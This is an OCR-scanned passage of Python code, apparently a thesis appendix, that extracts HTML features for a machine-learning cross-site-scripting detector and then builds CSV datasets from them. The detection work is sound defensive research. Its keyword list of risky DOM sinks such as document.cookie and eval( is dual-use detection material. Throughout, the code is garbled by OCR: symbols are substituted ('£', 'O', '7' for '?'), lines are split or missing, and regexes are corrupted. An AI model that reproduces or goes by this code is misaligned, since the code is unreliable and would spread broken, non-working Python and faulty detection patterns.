print(sys._getframe() .f_code.co_name + " finished.")
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292 # number of hidden inputs

293 return (len(soup.find_all("input", type="hidden")))

294

25| def find_f18(htmlfile): # number_of HTML_comments

296 # Open and read the HTML file

297 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
298

299 # Parse HTML file in Beautiful Soup

300 soup = bs(html, ’html.parser’)

302 print(sys._getframe() .f_code.co_name + " finished.")

303

304 # number of HTML comments

305 return (len(soup.find_all(text=lambda text:isinstance(text, Comment))))

307| def find_f19(htmlfile): # number_of_ HTML_entities

308 # Open and read the HTML file

309 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

310

311 regexp = "&.+7;"

312 list_of_html = re.findall(regexp, html) #finds all html entites in page
313

314 print(sys._getframe() .f_code.co_name + " finished.")

315

316 # number of HTML entities in page

317 return(len(list_of_html))

319|def find_£20(htmlfile): # number_of IFRAME_tags

320 # Open and read the HTML file

321 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
322

323 # Parse HTML file in Beautiful Soup

324 soup = bs(html, ’html.parser’)

325

326 print(sys._getframe() .f_code.co_name + " finished.")

327

328 # number of IFRAME tags

329 return (len(soup.find_all("iframe")))

330

331|def find_£21(htmlfile): # number_of IFRAME_tags

332 # Open and read the HTML file

333 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
334

335 # Parse HTML file in Beautiful Soup

336 soup = bs(html, ’html.parser’)

337

338 print(sys._getframe() .f_code.co_name + " finished.")

339

340 # number of IMG tags

341 return (len(soup.find_all("img")))

343| def find_£22(htmlfile): # number_of_inputs

344 # Open and read the HTML file

345 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
346

347 # Parse HTML file in Beautiful Soup

348 soup = bs(html, ’html.parser’)
349
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350 print(sys._getframe() .f_code.co_name + " finished.")
351

352 # number of inputs

353 return (len(soup.find_all("input")))

355| def find_f23(htmlfile): # number_of_malformed-misplaced_tags

356 # Open and read the HTML file

357 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
358

359 html_validator = HTMLValidator()

361 #bazen "HTTP Error 503: Service Unavailable" veriyor.

362 try:

363 html_validator.validate_fragment (html)

364 except:

365 time.sleep(5)

366 html_validator.validate_fragment (html)

367

368 print(sys._getframe() .f_code.co_name + " finished.")
369

370 if not html_validator.errors:

371 return O

372 else:

373 # number of malformed-misplaced tags in HTML
374 return len(html_validator.errors)

376| def find_f24(htmlfile): # number_of META_tags

377 # Open and read the HTML file

378 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
379

380 # Parse HTML file in Beautiful Soup

381 soup = bs(html, ’html.parser’)

382

383 print(sys._getframe() .f_code.co_name + " finished.")

384

385 # number of META tags

386 return (len(soup.find_all("meta")))

389| def find_£25(htmlfile): # number_of_0BJECT_tags
390 # Open and read the HTML file
391 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

393 # Parse HTML file in Beautiful Soup

394 soup = bs(html, ’html.parser’)

395

396 print(sys._getframe() .f_code.co_name + " finished.")
397

398 # number of OBJECT tags

399 return (len(soup.find_all("object")))

401|def find_f£f26(htmlfile): # number_of_POST_parameters

402 # Open and read the HTML file

403 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
404

405 # Parse HTML file in Beautiful Soup

406 soup = bs(html, ’html.parser’)

407

408 print(sys._getframe() .f_code.co_name + " finished.")
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410 # number of GET parameters

411 return (len(soup.find_all("form", method="post")))
412

413| def find_£27 (htmlfile): # number_of_remote_CSSes

414 # Open and read the HTML file

415 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
416

417 # Parse HTML file in Beautiful Soup

418 soup = bs(html, ’html.parser’)

419

420 counter = 0

421

422 for css in soup.find_all("link"):

423 if css.attrs.get("href"):

424 # if the link tag has the ’href’ attribute
425 counter +=1

426

427 print(sys._getframe() .f_code.co_name + " finished.")
428

429 # number of remote CSS references

430 return counter

432|def find_f28(htmlfile): # number_of_scripts

433 # Open and read the HTML file

434 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
435

436 # Parse HTML file in Beautiful Soup

437 soup = bs(html, ’html.parser’)

438

439 print(sys._getframe() .f_code.co_name + " finished.")

440

441 # number of scripts

442 return (len(soup.find_all("script")))

443
44| def find_£29(htmlfile): # number_of_single_quoted_attributes

445 # Open and read the HTML file

446 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
447

448 print(sys._getframe() .f_code.co_name + " finished.")

449

450 # number of single-quoted attributes in HTML file

451 return len(re.findall(x"=>(.*?[~\\])’",html))

453| def find_£30(htmlfile): # number_of_SPAN_tags

454 # Open and read the HTML file

455 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
456

457 # Parse HTML file in Beautiful Soup

458 soup = bs(html, ’html.parser’)

459

460 print(sys._getframe() .f_code.co_name + " finished.")

461

462 # number of SPAN tags

463 return (len(soup.find_all("span")))

465| def find_£31(htmlfile): # number_of_SVG_tags
466 # Open and read the HTML file
467 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
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# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of SVG tags
return (len(soup.find_all("svg")))

find_£32(htmlfile): # number_of_unicode_characters_in_scripts
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

counter = 0

for scripts in soup.find_all(’script’):
for code in scripts:
# find all unicode chars
counter = counter + len(re.findall (u"[~\u0000-\u007e]+", code))

print(sys._getframe() .f_code.co_name + " finished.")

# number of unicode characters in scripts
return counter

find_£33(htmlfile): # number_of_unquoted_attributes
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

print(sys._getframe() .f_code.co_name + " finished.")

# number of unquoted attributes in HTML file
return len(re.findall (x"=(\s*\w*\b)",html))

find_f34 (htmlfile): # number_of_vulnerable_DOM_objects
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’document.URL’>, ’document.documentURI’, ’document.URLUnencoded’, ’document.
baseURI’, ’document.open’, ’document.window’, ’document.location’, ’document.cookie’,
’document .referrer’, ’window.name’, ’history.pushState’, ’history.replaceState’, ’
localStorage’, ’sessionStorage’, ’IndexedDB’, ’Database’, ’document.write(’,
document .write (’, ’document.writeln(’, ’document.writeln (’, ’window.location’, ’
eval(’, ’eval (°, ’document.domain’, ’WebSocket(’, ’WebSocket (’, ’.src’, ’.lowsrc’,
’postMessage(’, ’postMessage (’, ’setRequestHeader(’, ’setRequestHeader (’, °
FileReader.readAsText(’, ’FileReader.readAsText (’, ’ExecuteSql(’, ’ExecuteSql (’, °’
sessionStorage.setItem(’, ’sessionStorage.setItem (’, ’document.evaluate(’, ’document
.evaluate (’, ’JSON.parse(’, ’JSON.parse (’, ’.setAttribute(’, ’.setAttribute (’, ?’
RegExp(’, ’RegExp (°, ’getCookie(’, ’getCookie (’, ’setCookie(’, ’setCookie (’, ’
location.assign(’, ’location.assign (’, ’location.replace(’, ’location.replace (’, ’
location.herf’, ’AppName(’, ’AppName (’, ’getUserAgent(’, ’getUserAgent (’, °’.

R AU

getElementById’, ’.getElementByName’]
counter = 0

for item in keywords:

counter = counter + html.count(item.lower())
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print(sys._getframe() .f_code.co_name + " finished.")

# number of vulnerable DOM objects
return counter

find_£35(htmlfile): # average_ASCII_characters_in_external_domain_strings
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

counter = 0
links = extractor.find_urls(html)
for link in links:
domain = urlparse(h.unescape(link)) .hostname
if domain !'= Nome:
counter = counter + len(domain)

if len(links) !=0:

average = counter / len(links)
else:

average = 0

print(sys._getframe() .f_code.co_name + " finished.")

# average ASCII characters in external domain strings in HTML
return f’{average:.2f}’

find_£36(htmlfile): # duplicated_special_characters (CAPEC-245)
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

patterns=[’<\s?<\s?script’, ’script\s?>\s?>’, ’/3c\s?/3c\s?script’, ’script\s?%3e\s?%3e’
— , ’&#60;\s7&#60;\s?script’, ’script\s7&#62;\s7&#62;°]

counter = 0

for item in patternms:
if html.count(item.lower()) > O:
return True

print(sys._getframe() .f_code.co_name + " finished.")

# number of harmful-sensitive keywords
return False

find_£37 (htmlfile): # encoding_in_scripts
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

for scripts in soup.find_all(’script’):
for code in scripts:
# detect URL encoding
if len(re.findall(x"/~(7:[~%]1%[0-9A-Fa-£f]1{2})+$/", code)) > O:
return True
# detect DWORD encoding
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573 # detect HEX encoding

574 if len(re.findall (r"\bOx[0-9A-F]+\b", code)) > 0:

575 return True

576 # detect Octal encoding

577 if len(re.findall(r"\bOo[0-7]+\b", code)) > O:

578 return True

579 # search unicode chars

580 if (len(re.findall (u" [~\u0000-\u007f]+", code))) > O:

581 return True

582 # detect base64 encoding in scripts

583 if len(re.findall(x"~(7:[A-Za-z0-9+/]1{4})*(?:[A-Za-z0-9+/]1{2}==]| [A-Za-z0
— -9+/1{3}=|[A-Za-z0-9+/1{4})$", code)) > O:

584 return True

585 return False

ss7| def find_f38(htmlfile): # existence_of _HEX_value_in_"img"_tags

588 # Open and read the HTML file

589 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
590

591 # Parse HTML file in Beautiful Soup

592 soup = bs(html, ’html.parser’)

593

594 print(sys._getframe() .f_code.co_name + " finished.")

595

596 for image in soup.find_all(’img’):

597 try:

598 if len(re.findall(r"\bOx[0-9A-F]1+\b|\b[0-9A-F]+\b", image[’src’])) > O:
599 return True

600 else:

601 return False

602 except:

603 return False

604

605| def dns_lookup (input, timeout=3, server=""):

606 """Perform a simple DNS lookup, return results in a dictionary"""
607 resolver = Resolver()

608 resolver.timeout = float(timeout)

609 resolver.lifetime = float (timeout)

610 if server:

611 resolver.nameservers = [server]

612 try:

613 records = resolver.resolve(input, "A")

614 return {

615 "addrs": [ii.address for ii in records],
616 "error": "",

617 "name": input,

618 }

619 except DNSException as e:

620 return {

621 "addrs": [],

622 "error": repr(e),

623 "name": input,

624 }

626| def find_f£39(htmlfile): # form_get-post_destination_domain_consistency (Intelligent
< Computing & Optimization p.215)

627 # Open and read the HTML file

628 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
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# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

urls=[]
for url in soup.find_all("form"):
try:
action = extractor.find_urls(url[’action’])

except:
action = ""
if len(action) != 0O:
if len (action[0]) > O:
urls.append(action[0])
links=[]
for item in urls:
domain = urlparse(h.unescape(item)).hostname
if domain != None:
links.append(domain)

links = (list(set(links)))

for i in range(len(links)):
counter = 0

# Whether URL has DNS record
ip = dns_lookup(links[i]) [’addrs’]

if len(ip) != O:
counter +=1
# Domain age in WHOIS record > x
try:
w = whois.query(links[i])
cdate = w.creation_date
except:
cdate=datetime.datetime.now()

if abs(datetime.datetime.now()-cdate).days > 1000: # WHOIS record creation bigger
— than 730 days (2 years)
counter +=1

# TTL value of domain > y
p = subprocess.Popen(["ping",links[i]], stdout=subprocess.PIPE)
res=p.communicate () [0]
if p.returncode > 0:
# print(’server error’)
TTL = 0
ellfsel:
try:
pattern = re.compile (’TTL=\dx’)
TTL = pattern.search(str(res)).group().split(’=>) [1]
except: #eger pinge kapali ise
TTL = 0

hop_count= int(startTTL) - int (TTL)

if hop_count < 15:
counter +=1
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# IP is used as a domain?

if not re.match(r"httpl[s]?:\/\/(7:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})",1links[i]):

counter += 1

# Number of dots in domain
number_of_dots = len(re.findall(".", links[il]))
if number_of_dots < 4:

counter += 1

# Whether Well-known port numbers for HTTP or HTIPs
if urlparse(urls[i]) .port == None:
counter += 1

# Whether URL has ll@ll’ ll//ll’ |l’.?|l’ |l=|l’ II_II’ ll_ll)

if len(re.findall("@", urls[i])) > O or len(re.findall("//", urls[i])) > 1 or len(re
— .findall("\?", urls[i])) > 0 or len(re.findall("=", urls[i])) > O or len(re.findall("

— =", urls[i])) > 0 or len(re.findall("_", urls[i])) > O:
counter += 1

print (sys._getframe() .f_code.co_name + " finished.")
# Kriterlerden >50’si olumsuz ise O degilse 1 degerini alir.
if counter < 4:
return False
return True
find_£40(htmlfile): # hash_usage_in_"img"_tags
# Open and read the HTML file

html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

for image in soup.find_all(’img’):

try:

a = re.findall("#", image[’src’])
except:

a =[]

if len(a) > O:
return True
return False

find_f41(htmlfile): # http-equiv_attribute_usage
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

print(sys._getframe() .f_code.co_name + " finished.")

if len(re.findall("http-equiv", html)) > O:
return True

else:
return False

find_£42(htmlfile): # img_src_composed_of_"x:x"
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
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745 # Parse HTML file in Beautiful Soup

746 soup = bs(html, ’html.parser’)

747

748 print(sys._getframe() .f_code.co_name + " finished.")
749

750 for image in soup.find_all(’img’):

751 try:

752 if len(re.findall(r"\w*\s7:\s?\w*", image[’src’])) > 0:
753 return True

754 else:

755 return False

756 except:

757 return False

750| def find_£43(htmlfile): # img_src_contains_http_string

760 # Open and read the HTML file

761 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
762

763 # Parse HTML file in Beautiful Soup

764 soup = bs(html, ’html.parser’)

765

766 print(sys._getframe() .f_code.co_name + " finished.")
767

768 for image in soup.find_all(’img’):

769 try:

770 if len(re.findall("http", image[’src’])) > 0:
771 return True

772 else:

773 return False

774 except:

775 return False

776
777|def find_f44 (htmlfile): # img_src_contains_https_string

778 # Open and read the HTML file

779 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
780

781 # Parse HTML file in Beautiful Soup

782 soup = bs(html, ’html.parser’)

783

784 print(sys._getframe() .f_code.co_name + " finished.")
785

786 for image in soup.find_all(’img’):

787 try:

788 if len(re.findall("https", image[’src’])) > 0O:
789 return True

790 else:

791 return False

792 except:

793 return False

795| def find_£45(htmlfile): # img_src_contains_www_string

796 # Open and read the HTML file

797 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
798

799 # Parse HTML file in Beautiful Soup

800 soup = bs(html, ’html.parser’)

802 print(sys._getframe() .f_code.co_name + " finished.")




235

803

804 for image in soup.find_all(’img’):

805 try:

806 a = re.findall("www", image[’src’])
807 except:

808 a =[]

809 if len(a) > 0O:

810 return True

811 return False

812

13| def find_£46 (htmlfile): # is_the_script_readable (Detecting Obfuscated JavaScripts from
< Known and Unknown Obfuscators using Machine Learning)

814 # Open and read the HTML file

815 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
816

817 # Parse HTML file in Beautiful Soup

818 soup = bs(html, ’html.parser’)

819

820 readability=[]

821 for scripts in soup.find_all(’script’):

822 for code in scripts:

823 readability.append(float (HalsteadCalculator.main(code)))

824

825 if readability == []: #sayfada herhangi bir javascript yoksa "0" elemanini ekleyelim
826 readability.append(0)

827

828 print(sys._getframe() .f_code.co_name + " finished.")

829

830 if max(readability) >= 2000:

831 return False

832 else:

833 return True

35| def find_£47 (htmlfile): # length_of_input_strings_is_limited

836 # Open and read the HTML file

837 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
838

839 # Parse HTML file in Beautiful Soup

840 soup = bs(html, ’html.parser’)

841

842 print(sys._getframe() .f_code.co_name + " finished.")
843

844 # length of input strings is limited

845 for item in soup.find_all("input"):

846 if len(re.findall("maxlength", str(item))) > O:
847 return True

848 return False

8s0| def find_f48(htmlfile): # maximum_occurrence_of_domains_found_in_URLs

851 # Open and read the HTML file

852 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
853

854 domains=[]

855 urls=extractor.find_urls (html)

856

857 for url in urls:

858 domain = urlparse(url) .hostname

859 domains.append (domain)
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pivot = Counter (domains)
print(sys._getframe() .f_code.co_name + " finished.")

# maximum occurrence of domains found in URLs
if len(pivot) > 0:

return pivot[max(domains,key=domains.count)]
else:

return O

find_f49(htmlfile): # the_code_contains_equalto_after_slash_character
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

print(sys._getframe() .f_code.co_name + " finished.")

if re.findall(r"\/\s?=", html):
return True

else:
return False

2| # get parent directory

curr_dir = Path(__file__).parent

dizin_nonxss = str(curr_dir)+"/dataset/non-xss-pp/"

dizin_xss = str(curr_dir)+"/dataset/xss-pp/"

def

feature_extract(dizin, filename):
os.chdir(dizin)
start = time.time()

size = os.path.getsize(filename)

result = str(filename) + "," + str(find_fO(filename))+ "," +str(find_f1(filename))+ ","
+str(find_f2(filename))+ "," +str(find_f3(filename))+ "," +str(find_f4(filename))+ ",
" +str(find_f5(filename))+ "," +str(find_f6(filename))+ "," +str(find_f7 (filename))+

" 4str(find_f8(filename))+ "," +str(find_f9(filename))+ "," +str(find_f10(filename)
)+ """ +str(find_fl11(filename))+ "," +str(find_f12(filename))+ "," +str(find_£f13(
filename))+ "," +str(find_fi14(filename))+ "," +str(find_f15(filename))+ "," +str(
find_f16(filename))+ "," +str(find_f17(filename))+ "," +str(find_f18(filename))+ ","
+str(find_f19(filename))+ "," +str(find_f20(filename))+ "," +str(find_f21(filename))+

"o +str(find_f22(filename) )+ "," +str(find_f23(filename))+ "," +str(find_£24(
filename))+ "," +str(find_f25(filename))+ "," +str(find_f26(filename))+ "," +str(
find_f27(filename))+ "," +str(find_f28(filename))+ "," +str(find_f29(filename))+ ","
+str(find_f30(filename))+ "," +str(find_f31(filename))+ "," +str(find_£f32(filename))+
"M +str(find_£f33(filename) )+ "," +str(find_f34(filename))+ "," +str(find_£35(
filename))+ "," +str(find_f36(filename))+ "," +str(find_f37(filename))+ "," +str(
find_f38(filename))+ "," +str(find_f39(filename))+ "," +str(find_f40(filename))+ ","
+str(find_f41(filename))+ "," +str(find_f42(filename))+ "," +str(find_f43(filename))+
"o +str(find_f44(filename) )+ "," +str(find_f45(filename))+ "," +str(find_£46(
filename))+ "," +str(find_f47(filename))+ "," +str(find_f48(filename))+ "," +str(
find_f49(filename))

R

= time.time ()
str(size) + " boyutundaki " + f + " dosyasinin islenmesi " + str(end-start) + " sn
— . surdu..."

)
o B
| Qo
no

results = open("processed/FeatureExtraction.csv", ’a’, encoding=’utf-87’)
results.write(result+"\n")
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results.close()
os.replace(dizin + filename, dizin + "/processed/" + filename)

logs = open("processed/FeatureExtraction.log", ’a’, encoding=’utf-87)
logs.write(log+"\n")
logs.close()

files_nonxss = os.listdir(dizin_nonxss)
files_xss = os.listdir(dizin_xss)

for f in files_nonxss:
print (£)
feature_extract(dizin_nonxss, f)

for f in files_xss:
print(£f)
feature_extract (dizin_xss, f)

Son olarak RapidMiner yazilimina girdi olarak verilmek iizere, ozelliklerin cikarildigi
“FeatureExtraction.csv” dosyasim1 girdi olarak alarak “binary.csv”, “frequency.csv”,
“normalized_frequency.csv” ve “term_frequency.csv” veri seti dosyalarin1 olusturan Python

betigi asagida verilmisgtir.

### GenerateCSVFiles.py ###
import os

from pathlib import Path
import csv

# binary.csv: bu dosya, yalnizca ozelligin kitapliktaki soz konusu HTML’de olup olmadigini
< soyler. ozellik varsa "1", aksi takdirde "O" degeri atanir.

# frequency.csv: bu dosya, her ozelligin HTML dosyasinda kac kez tekrar ettigini icerir.

# normalized_frequency.csv: bu dosya, frekans.csv dosyasinin sonuclarinin "O" ile "1"
— arasinda normallestirilmis halini icerir.

# term_frequency.csv: bu dosya, terim (ozellik) frekansinin HTML belgesindeki diger
— terimlere oranini soyler. ornegin, belgede <script> ozelliginin 10 tekrari vardir ve
< toplamda 1000 terim vardir, bu nedenle <script> ogesinin TF’si 10/1000= 0,01’dir.

# get parent directory
dizin = Path(__file__) .parent

#column_headers="Filename,F0,F1,F2,F3,F4,F5,F6,F7,F8,F9,F10,F11,F12,F13,F14,F15,F16,F17,F18,
— F19,F20,F21,F22,F23,F24,F25,F26,F27,F28,F29,F30,F31,F32,F33,F34,F35,F36,F37,F38,F39,
— F40,F41,F42,F43,F44 ,F45,F46,F47,F48,F49,Class"

def normalize_data(arr, t_min, t_max):
norm_arr = []
diff = t_max - t_min
diff_arr = max(arr)- min(arr)
if diff_arr !'= O:
for i in arr:
temp = (((i - min(arr))*diff)/diff_arr) + t_min
norm_arr.append (f’{temp:.3f}’)
else:
for i in arr:
norm_arr.append(£’{0:.3f}?)
return norm_arr
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29| def generate_binary_csv(dizin):
30 os.chdir(dizin)

31 with open(’FeatureExtraction-combined.csv’, ’r’) as file:
32 reader = csv.reader(file, skipinitialspace=True)

33 for row in reader:

34 line = [row[0]] # add filename

35 for i in range(1, 51): # add features

36 if row[i] != "0":

37 line.append(£f’{1:.3f}?)

38 else:

39 line.append(£’{0:.3f}?)

40 line.append(row[51]) #add class

41 binary_csv = open("binary.csv", ’a’, encoding=’utf-8’)
o) binary_csv.write(",".join(line) + "\n")

43 binary_csv.close()

15| def generate_frequency_csv(dizin):

46 os.chdir(dizin)

17 file = open(’FeatureExtraction-combined.csv’).read()

48 file = file.replace("True", £’{1:.3f}’)

49 file = file.replace("False", £’{0:.3f}’)

50 frequency_csv = open("frequency.csv", ’a’, encoding=’utf-87)
51 frequency_csv.write(file)

52 frequency_csv.close()

54| def generate_normalized_frequency_csv(dizin):

55 arr0 = [] #filenames
56 arrl = [] #f0
57 arr2 = [] #f1
58 arr3 = [] #f2
59 arrd = [] #£3

60 arr5 = [] #f4
61 arr6 = [] #£f5
62 arr7 = [] #£f6
63 arr8 = [] #£f7

64 arr9 = [] #£f8

65 arr10 = [] #£9
66 arril = [] #£f10
67 arrl2 = [] #£f11
68 arr13 = [] #f12
69 arrld = [] #£13
70 arrl5 = [] #f14
71 arrl6 = [] #£f15
72 arrl7 = [] #f16
73 arrl8 = [] #£17
74 arrl9 = [] #f18
75 arr20 = [] #£19
76 arr21 = [] #£20
77 arr22 = [] #£f21
78 arr23 = [] #£22
79 arr24 = [] #£23
80 arr25 = [] #£f24
81 arr26 = [] #£25
82 arr27 = [] #£26
83 arr28 = [] #£27
84 arr29 = [] #£28
85 arr30 = [1 #£29

86 arr31 = [] #£30
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87 arr32 = [] #£31
88 arr33 = [] #£32
89 arr34 = [] #£33

90 arr3b = [] #£f34
91 arr36 = [] #£35

92 arr37 = [] #£36
93 arr38 = [] #£37
94 arr39 = [] #£38
95 arr40 = [] #£39

9% arr4l = [] #£40
97 arr42 = [] #£f41
98 arr43 = [] #f42
99 arr4d = [] #£43
100 arr45 = [] #f44
101 arrd6 = [1 #£f45

102 arrd7 = [] #f46

103 arrd8 = [] #£47

104 arr49 = [] #£48

105 arr50 = [] #f49

106 arr51 = [] #classes
107

108 os.chdir(dizin)

110 with open(’frequency.csv’, ’r’) as file:

11 reader = csv.reader(file, skipinitialspace=True)
112 for row in reader:

13 for i in range(len(row)):

114 if i==0:

1s arr0.append (row[il)

116 af d==ilg

17 arrl.append(float (row[i]))
118 if i==2:

19 arr2.append(float (row[i]))
120 if i==3:

121 arr3.append (float (row[il))
122 if i==4:

123 arr4.append(float (row[i]))
124 if i==b:

125 arr5.append (float (row[il))
126 if i==6:

127 arr6.append (float (row[il))
128 if i==7:

129 arr7.append (float (row[il))
130 if i==8:

131 arr8.append (float (row[il))
132 if i==9:

133 arr9.append (float (row[il))
134 if i==10:

135 arr10.append(float (row[il))
136 if i==11:

137 arrll.append(float (row[i]))
138 if i==12:

139 arr12.append(float(row[il))
140 if i==13:

141 arr13.append(float (row[i]))
142 if i==14:

143 arr14.append(float (row[i]))
144 if i==15:

145 arrib.append(float (row[i]))
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.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))
.append (f1oat (row[i]))

.append(float(row[i]))




arrl

arr2

arr3

arréd

arrb

arr6

arr7

arr8

arr9

arrl0
arril
arril2
arrl3
arrl4d
arrilb
arrl6
arrl7
arrl8
arrl9
arr20
arr21
arr22
arr23
arr24
arr2b
arr26
arr27
arr28
arr29
arr30
arr31
arr32
arr33
arr34
arr3b
arr36
arr37
arr38
arr39
arr40
arr4dl
arr4?2
arr43
arrdd
arr4db
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arr4b.append(float (row[i]))

if i==46:

arr46.append(float (row[i]))

if i==47:

arr47.append(float (row[i]))

if i1==48:

arr48.append(float (row[i]))

if i==49:

arr49.append(float (row[i]))

if i==560:

arr50.append(float (row[i]))

if i==b1:
arr51.append(row[i])

normalize_data(arr1,0,1)
normalize_data(arr2,0,1)
normalize_data(arr3,0,1)
normalize_data(arr4,0,1)
normalize_data(arr5,0,1)
normalize_data(arr6,0,1)
normalize_data(arr7,0,1)
normalize_data(arr8,0,1)
normalize_data(arr9,0,1)
normalize_data(arri10,0,1)
normalize_data(arri1,0,1)
normalize_data(arri2,0,1)
normalize_data(arri13,0,1)
normalize_data(arri4,0,1)
normalize_data(arri5,0,1)
normalize_data(arri16,0,1)
normalize_data(arri7,0,1)
normalize_data(arr18,0,1)
normalize_data(arr19,0,1)
normalize_data(arr20,0,1)
normalize_data(arr21,0,1)
normalize_data(arr22,0,1)
normalize_data(arr23,0,1)
normalize_data(arr24,0,1)
normalize_data(arr25,0,1)
normalize_data(arr26,0,1)
normalize_data(arr27,0,1)
normalize_data(arr28,0,1)
normalize_data(arr29,0,1)
normalize_data(arr30,0,1)
normalize_data(arr31,0,1)
normalize_data(arr32,0,1)
normalize_data(arr33,0,1)
normalize_data(arr34,0,1)
normalize_data(arr35,0,1)
normalize_data(arr36,0,1)
normalize_data(arr37,0,1)
normalize_data(arr38,0,1)
normalize_data(arr39,0,1)
normalize_data(arr40,0,1)
normalize_data(arr41,0,1)
normalize_data(arr42,0,1)
normalize_data(arr43,0,1)
normalize_data(arr44,0,1)
normalize_data(arr45,0,1)
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arr46 =
arrd7 =
arr48 =
arrd9 =
arr50 =

line=[]

normalize_data(arr46,0,1)
normalize_data(arr4d7,0,1)
normalize_data(arr48,0,1)
normalize_data(arr49,0,1)
normalize_data(arr50,0,1)
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for i in range(len(arrl)):

= ?)

normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
.write((str(arr26[il)+","))
.write((str(arr27[i])+","))

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

normalized_frequency_csv
normalized_frequency_csv

normalized_frequency_csv.
normalized_frequency_csv.
normalized_frequency_csv.

= open("normalized_frequency.csv", ’a’, encoding=’utf-8

write((str(arr0[i])+","))
write((str(arr1[i])+","))
write((str(arr2[i])+","))

.write((str(arr3[i])+","))
.write((str(arr4[il)+","))

write((str(arr5[i])+","))
write((str(arr6[i]l)+","))
write((str(arr7[i])+","))

.write((str(arr8[i])+","))
.write((str(arr9[il)+","))

write ((str(arr10[il)+","))
write((str(arri1[i])+","))
write((str(arr12[i])+","))
write((str(arr13[i])+","))

.write((str(arr14[i])+","))
.write((str(arr15[i])+","))

write((str(arr1i6[il)+","))
write((str(arr17[i])+","))
write((str(arr18[il)+","))
write((str(arr19[i])+","))

.write((str(arr20[i])+","))
.write((str(arr21[i])+","))

write((str(arr22[i])+","))
write ((str(arr23[i])+","))
write((str(arr24[i])+","))
write((str(arr25[i])+","))

write ((str(arr28[il)+","))
write((str(arr29[i])+","))
write ((str(arr30[il)+","))
write((str(arr31[i])+","))

.write((str(arr32[i])+","))
.write((str(arr33[i])+","))

write ((str(arr34[i])+","))
write((str(arr35[i])+","))
write((str(arr36[il)+","))
write ((str(arr37[i])+","))

.write((str(arr38[i])+","))
.write((str(arr39[i])+","))

